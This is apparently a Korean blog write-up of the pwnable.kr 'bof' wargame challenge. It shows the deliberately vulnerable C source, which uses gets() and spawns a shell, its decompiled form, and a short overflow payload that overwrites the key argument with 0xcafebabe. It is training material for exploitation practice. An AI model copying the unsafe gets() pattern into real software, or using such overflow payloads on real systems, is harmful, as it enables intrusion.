tmxklab

[pwnable.kr] bof 본문

War Game/pwnable.kr

[pwnable.kr] bof

tmxk4221 2020. 11. 20. 17:36

1. 문제 확인

 

nc pwnable.kr 9000

 

[ bof.c ]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

gets에서 bof가 발생한다.

 

그리고 bof파일은 32bit elf파일이다.

 


2. 접근 방법

unsigned int __cdecl func(int a1)
{
  char s; // [esp+1Ch] [ebp-2Ch]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  puts("overflow me : ");
  gets(&s);
  if ( a1 == 0xCAFEBABE )
    system("/bin/sh");
  else
    puts("Nah..");
  return __readgsdword(0x14u) ^ v3;
}

s변수[ebp-0xc]에서 bof쌉가능이니깐 더미 값 + a1[ebp+0x8]에 0xcafebabe 로 만들면 될듯

 


3. 문제 풀이

 

payload = dummy(0x34) + 0xcafebabe


4. 몰랐던 개념

'War Game > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2020.11.20
[pwnable.kr] passcode  (0) 2020.11.20
[pwnable.kr] flag  (0) 2020.11.20
[pwnable.kr] collison  (0) 2020.11.20
[pwnable.kr] fd  (0) 2020.11.20
Comments